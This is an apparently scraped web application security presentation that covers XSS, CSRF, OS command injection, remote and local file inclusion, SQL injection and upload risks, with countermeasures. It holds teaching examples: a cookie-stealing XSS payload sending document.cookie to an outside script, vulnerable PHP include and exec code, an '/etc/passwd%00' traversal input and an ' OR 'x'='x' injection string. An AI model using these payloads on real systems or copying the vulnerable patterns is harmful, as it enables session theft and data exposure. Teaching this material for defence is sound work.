Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Nick Feamster CS 6262 Spring 2009
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Lecture 6/2/12. Forms and PHP The PHP $_GET and $_POST variables are used to retrieve information from forms, like user input When dealing with HTML forms.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
SQL Injection Attacks Prof. Jim Whitehead CMPS 183: Spring 2006 May 17, 2006.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
SQL Injection Attacks CS 183 : Hypermedia and the Web UC Santa Cruz.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Presenter Deddie Tjahjono.  Introduction  Website Application Layer  Why Web Application Security  Web Apps Security Scanner  About  Feature  How.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
PHP Security.
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Security.NET Chapter 1. How Do Attacks Occur? Stages of attack Examples of attacker actions 1. FootprintRuns a port scan on the firewall 2. PenetrationExploits.
Prevent Cross-Site Scripting (XSS) attack
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Server-side Scripting Powering the webs favourite services.
(CPSC620) Sanjay Tibile Vinay Deore. Agenda  Database and SQL  What is SQL Injection?  Types  Example of attack  Prevention  References.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
1-Vulnerabilities 2-Hackers 3-Categories of attacks 4-What a malicious hacker do? 5-Security mechanisms 6-HTTP Web Servers 7-Web applications attacks.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
A Security Review Process for Existing Software Applications
JavaScript, Fourth Edition
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
OSI and TCP/IP Models And Some Vulnerabilities AfNOG th May 2011 – 10 th June 2011 Tanzania By Marcus K. G. Adomey.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
Security Issues with PHP  PHP installation  PHP programming Willa Zhu & Eugene Burger.
 Previous lessons have focused on client-side scripts  Programs embedded in the page’s HTML code  Can also execute scripts on the server  Server-side.
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Mr. Justin “JET” Turner CSCI 3000 – Fall 2015 CRN Section A – TR 9:30-10:45 CRN – Section B – TR 5:30-6:45.
CSRF Attacks Daniel Chen 11/18/15. What is CSRF?  Cross Site Request Forgery (Sea-Surf)  AKA XSRF/ One Click / Sidejacking / Session Riding  Exploits.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
S ECURE P ROGRAMMING NOTES 08 XSS 1. Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the trusted.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
SQL Injection Attacks.
Building Secure ColdFusion Applications
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
World Wide Web policy.
Pengantar Keamanan Informasi
Lecture 2 - SQL Injection
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Lecture 27 Security I April 4, 2018 Open news web sites.
Cross Site Request Forgery (CSRF)
Presentation transcript:

Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting

Information security means protecting information and information systems from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction. Consists of (C I A): * Confidentiality  Ensuring that information is not accessed by unauthorized persons. * Integrity  Ensuring that information is not altered by unauthorized persons in a way that is not detectable by authorized users. * Authentication  Ensuring that users are the persons they claim to be. What do you mean by Information Security??

Security in Shopping Mall?? IN BrowseOut

XSS vulnerability CSRF vulnerability path Traversal null Byte OS Commanding Local File Inclusion (LFI) Remote File Inclusion (RFI) Information Disclosure SQL Injection file Upload Know your enemy??

Persistent ( Stored ) Non-Persistent Non-Persistent Example: – alert(“Cookie”+document.cookie) alert(“Cookie”+document.cookie)</SCRIPT –%3cscript src= Persistent Example: – document.location= ' bin/cookiesteal.cgi?'+document.cookie XSS ??

htmlentities  Convert all applicable characters to HTML entities. htmlspecialchars  Convert special characters to HTML entities. strip_tags  Strip HTML and PHP tags from a string. Prevent XSS (PHP way)?? : detection tool : detection tool

One Click Attack unauthorized commands are transmitted from a user machine that the website trusts. The following characteristics are common to CSRF: Involve sites that rely on a user's identity Exploit the site's trust in that identity Trick the user's browser into sending HTTP requests to a target site Involve HTTP requests that have side effects Cross-site request forgery (CSRF)??

Several things have to happen for cross-site request forgery to succeed: The attacker must target either a site that doesn't check the referrer header (which is common) or a victim with a browser or plugin bug that allows referrer spoofing (which is rare). The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's address or password). The attacker must determine the right values for all the form's or URL's inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail. The attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site. Chances of CSRF??

Requiring the client to provide authentication data in the same HTTP Request used to perform any operation with security implications (money transfer, etc) Limiting the lifetime of session cookies Checking the HTTP Referer header Add unique token every time during transactions and generate and verify at server side. Rx CSRF??

used for unauthorized execution of operating system commands result of mixing trusted code and untrusted data attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs executed commands by an attacker will run with the same privileges of the component that executed the command. Sample: $month = $_GET['month']; $year = $_GET['year']; exec ("cal $month $year", $result); print " ";foreach ($result as $r) { print "$r "; } print " "; OS Commanding??

Attack technique used to exploit "dynamic file include" mechanisms in web applications. When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code. RFI means executing remotely hosted malicious code at server level. The attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, Javascript to steal the client session cookies). (LFI) In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. The PHP language has an allow_url_fopen directive, and if enabled it allows filesystem functions to use a URL which allows them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability, all user input needs to be validated before being used Terrible RFI/LFI… Careful Please..

<?php $color = 'blue'; if (isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; include( $color. '.php' ); ?> red blue Terrible RFI/LFI… Careful Please.. /vulnerable.php?COLOR= /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit /vulnerable.php?COLOR=/etc/passwd%00

SQL Injection.. Many web applications take user input from a form Often this user input is used literally in the construction of a SQL query submitted to a database. For example: –SELECT productdata FROM table WHERE productname = ‘user input product name’; A SQL injection attack involves placing SQL statements in the user input E.g. “Search GOLD OR ‘x’ = ‘x”. This input is put directly into the SQL statement within the Web application: –SELECT prodinfo FROM prodtable WHERE prodname = ‘GOLD ‘ OR ‘x’ = ‘x’ –Attacker has now successfully caused the entire database to be returned

SQL Injection.. Hackers can : –Add new viagra ad in your website. –Delete your Database/tables/records. –Sell items for free. –Can sell your company information to others. –Can use USERs data for benefit (credit card information etc.) Solution? –Check syntax of input for validity –Have length limits on input –Many SQL injection attacks depend on entering long strings –Scan query string for undesirable word combinations that indicate SQL statements (Insert,Drop,update, delete,select etc). –Limit database permissions and segregate users –Default error reporting often gives away information that is valuable for attackers (table name, field name, etc.). Configure properly.

file Upload..Any problem? Mostly nowadays contains a file upload feature, which has a validation but can be used for a person to upload malicious script files and thereby take control of our server. As main countermeasures you can have in mind: Checking the file size. Deny execute permission on the directory where the files are uploaded. Check MIME-TYPE. Check the file extension. Protecting the upload folder with.htaccess with –ExecCGI If possible, upload the files in a directory outside the server root Create a list of accepted mime-typesGenerate a random file name and add the previously generated extension Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.

e-proxy-application-level-security- assessment/ e-proxy-application-level-security- assessment/ Helpful tools ??

References and Good reading

ANY QUESTIONS ?? ?????????

Want to contact later ?